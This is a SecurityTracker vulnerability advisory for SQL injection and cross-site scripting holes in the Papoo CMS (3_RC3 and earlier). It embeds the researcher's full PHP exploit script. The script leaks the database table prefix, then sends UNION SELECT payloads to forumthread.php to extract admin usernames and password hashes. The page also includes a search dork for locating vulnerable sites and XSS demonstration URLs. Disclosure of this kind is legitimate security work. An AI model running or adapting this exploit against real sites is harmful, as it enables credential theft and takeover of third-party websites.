Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
Papoo Input Validation Holes in 'forumthread.php' and 'hilfe.php' Permit SQL Injection and Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1016461 |
|
SecurityTracker URL: http://securitytracker.com/id/1016461
|
|
CVE Reference:
CVE-2006-3571, CVE-2006-3572
(Links to External Site)
|
Updated: Jul 18 2008
|
Original Entry Date: Jul 11 2006
|
Impact:
Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
|
Exploit Included: Yes
|
Version(s): 3_RC3 and prior versions
|
Description:
A vulnerability was reported in Papoo. A remote user can conduct cross-site scripting attacks. A remote user can inject SQL commands.
The 'forumthread.php' script does not properly validate user-supplied input in the 'msgid' parameter. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database. This can be exploited to obtain an administrator's authentication credentials.
The 'hilfe.php' script does not properly filter HTML code from user-supplied input in the 'titel' and 'ausgabe' parameters before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Papoo software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Some demonstration exploit URLs are provided:
http://[target]/[path_to_papoo]/interna/hilfe.php?titel=[XSS]
http://[target]/[path_to_papoo]/interna/hilfe.php?ausgabe=[XSS]
rgod reported this vulnerability.
The original advisory is available at:
http://retrogod.altervista.org/papoo_3rc3_sql.html
|
Impact:
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Papoo software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
A remote user can execute SQL commands on the underlying database.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.papoo.de/ (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: 7 Jul 2006 22:28:51 -0000
Subject: PAPOO <=3RC3 sql injection / admin credentials disclosure
|
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PAPOO <= 3_RC3 SQL injection / admin credentials disclosure\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork: \"Help * Contact * Imprint * Sitemap\" | \"powered by papoo\" | \"powered by cms papoo\"\n\n";
/*
notes:
works regardless of magic_quotes_gpc settings...
there is some magic quotes disable code in variable_class.php near line 120-145
also you can always disclose table prefix...
we have different number of columns in older version, we will shortly bruteforce query
oh, we have two xss even:
http://[target]/[path_to_papoo]/interna/hilfe.php?titel=[XSS]
http://[target]/[path_to_papoo]/interna/hilfe.php?ausgabe=[XSS]
*/
if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONS\n";
echo "host: target server (ip/hostname)\n";
echo "path: path to Papoo\n";
echo "Options:\n";
echo " -T[prefix] specify a table prefix (there is nor a default one, try papoo or papoo_\n";
echo " however, if not specified, we will disclose it)\n";
echo " -p[port]: specify a port other than 80\n";
echo " -P[ip:port]: specify a proxy\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /papoo/\n";
echo "php ".$argv[0]." localhost /papoo/ -Tpapoo_\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if ($prefix=="")
{
$packet="GET ".$p."forumthread.php?msgid=%27 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"You have an error in your SQL syntax"))
{
$temp=explode("_papoo_message.forumid",$html);
$temp2=explode("AND ",$temp[0]);
$prefix=$temp2[count($temp2)-1];
echo "table prefix -> ".$prefix."\n";
}
else
{die("Unable to disclose table prefix...\n");}
}
$diff=array(
",0,0,0,0,0",
",0,0,0,0",
",0,0,0",
",0,0",
",0",
""
);
for ($j=0; $j<=count($diff)-1; $j++)
{
$sql="9999')/**/UNION/**/SELECT/**/1,0,0,0,CONCAT('*WhOp*',username,':',password,'*WhOp*'),0,0,0,0,0".$diff[$j]."/**/FROM ".$prefix."_papoo_user/**/WHERE/**/gruppenid='g1,'/*";
$sql=urlencode($sql);
$packet="GET ".$p."forumthread.php?msgid=".$sql." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("*WhOp*",$html);
for ($i=1; $i<=count($temp)-1; $i++)
{
$temp2=explode(":",$temp[$i]);
if (is_hash($temp2[1]))
{
echo "--------------------------------------------------------\n";
echo "admin -> ".$temp2[0]." \n";
echo "password (md5) -> ".$temp2[1]." \n";
echo "--------------------------------------------------------\n";
die;
}
}
}
//if you are here...
echo "exploit failed...";
?>
original url: http://retrogod.altervista.org/papoo_3rc3_sql.html
|
|
Go to the Top of This SecurityTracker Archive Page
|